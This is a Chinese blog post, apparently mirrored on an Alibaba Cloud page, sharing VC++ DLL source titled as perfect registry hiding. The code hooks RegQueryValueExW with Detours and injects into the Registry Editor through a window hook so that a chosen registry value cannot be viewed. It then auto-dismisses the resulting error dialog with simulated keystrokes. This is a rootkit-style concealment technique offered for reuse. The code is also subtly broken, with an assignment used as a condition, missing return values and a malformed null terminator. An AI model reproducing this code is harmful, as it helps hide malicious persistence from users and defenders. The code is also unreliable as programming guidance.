第一博文 就這樣吧 老天不讓我寫啊~~~~~~~~VC++之完美隱藏註冊表

來源:互聯網
上載者:User

     這幾天是怎麼了寫部落格都鬱悶哎 算了 誰讓我發不了呢 這是dll代碼你們看看把

     這是我這幾天剛剛寫的也算是為網上和我一樣找不到代碼的朋友提供點協助!

#include <afxwin.h>
#include <windows.h>
//#include <ansiapi.h>
#include "detours.h"
#pragma data_seg("jieguo")
HHOOK kis=NULL;
HWND zhu=NULL;
HINSTANCE mou=NULL;
HANDLE thread=NULL;
TCHAR szClass[256]={0};
HHOOK mess=NULL;
HINSTANCE age=NULL;
HWND stime=NULL;
#pragma data_seg()

LONG WINAPI Hook_RegQueryValueExW(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);

typedef LONG (WINAPI *pfnRegQueryValueExW)(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
pfnRegQueryValueExW g_pRegQueryValueExW = RegQueryValueExW;

BOOL StartHook()

{
    DetourTransactionBegin();
 DetourUpdateThread( GetCurrentThread());
 if( DetourAttach( &(PVOID&)g_pRegQueryValueExW,Hook_RegQueryValueExW) != NO_ERROR)
 {
  printf( "Hook MessageBoxA fail./n");
 }
 if( DetourTransactionCommit() != NO_ERROR)
 {
  printf( "DetourTransactionCommit fail/n");
  return FALSE;
 }
 else
 {
  printf( "DetourTransactionCommit ok/n");
  return TRUE;
 }
}
BOOL StopHook()
{
 DetourTransactionBegin();
 DetourUpdateThread( GetCurrentThread());
 if( DetourDetach( &(PVOID&)g_pRegQueryValueExW,Hook_RegQueryValueExW) != NO_ERROR)
 {
  printf( "Hook MessageBoxA fail./n");
 }
 if( DetourTransactionCommit() != NO_ERROR)
 {
  printf( "DetourTransactionCommit fail/n");
  return FALSE;
 }
 else
 {
  printf( "DetourTransactionCommit ok/n");
  return TRUE;
 }
}
LONG WINAPI Hook_RegQueryValueExW(
HKEY hKey,
LPCWSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
)
{
 int ansiLen = ::WideCharToMultiByte(CP_ACP, NULL, lpValueName, wcslen(lpValueName), NULL, 0, NULL, NULL);
 char* szAnsi= new char[ansiLen + 1];
 ::WideCharToMultiByte(CP_ACP, NULL,lpValueName, wcslen(lpValueName), szAnsi, ansiLen, NULL, NULL);
 szAnsi[ansiLen] = '/0';
 int i=10;
 if(lstrcmpA(szAnsi,"這裡填你註冊表的索引值")==0)
 {
  lpValueName=NULL;
 }
 if(i=11000000)
 return g_pRegQueryValueExW(hKey,lpValueName,lpReserved,lpType,lpData,lpcbData);
 
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
 DLL_PROCESS_ATTACH;
}
LRESULT CALLBACK GetMsgProc(int code,
       WPARAM wParam,
       LPARAM lParam
       )
{
 StartHook();
    HWND mes=NULL,mess=NULL;
 mes=::FindWindow(NULL,"顯示值的錯誤");
 if(mes!=NULL)
 {
   keybd_event(13,0,0,0);
   keybd_event(13,0,KEYEVENTF_KEYUP,0);
 }
 return CallNextHookEx(kis,code,wParam,lParam);
}
VOID CALLBACK TimerProc2(HWND  hwnd,UINT message,UINT iTimerID,DWORD   dwTime)  
{
 zhu=::FindWindow(NULL,"登錄編輯程式");
    if(zhu==NULL)
 {
  UnhookWindowsHookEx(kis);
  kis=NULL;
  KillTimer(stime,0);
 }
}
VOID CALLBACK TimerProc(HWND  hwnd,UINT message,UINT iTimerID,DWORD   dwTime)  
{
 LPDWORD pid=NULL;
 DWORD die=NULL;
 if(kis==NULL)
 {
 zhu=::FindWindow(NULL,"登錄編輯程式");
 if(zhu!=NULL)
 {
  die=GetWindowThreadProcessId(zhu,NULL);
  if(die!=NULL)
   mou=GetModuleHandle("khthree");
  if(mou!=NULL)
   kis=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,mou,die);
  if(kis!=NULL)
  {
   SetTimer(stime,0,80,TimerProc2);
  }
 }
 }
}
_declspec(dllexport) menge(int b)//這就是匯出函數你們隨便寫個exe調用 dll就好了 今天沒心情不好大家湊活著看吧!!
{
 UINT_PTR iTimerID=SetTimer(NULL,0,100,TimerProc);
}

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.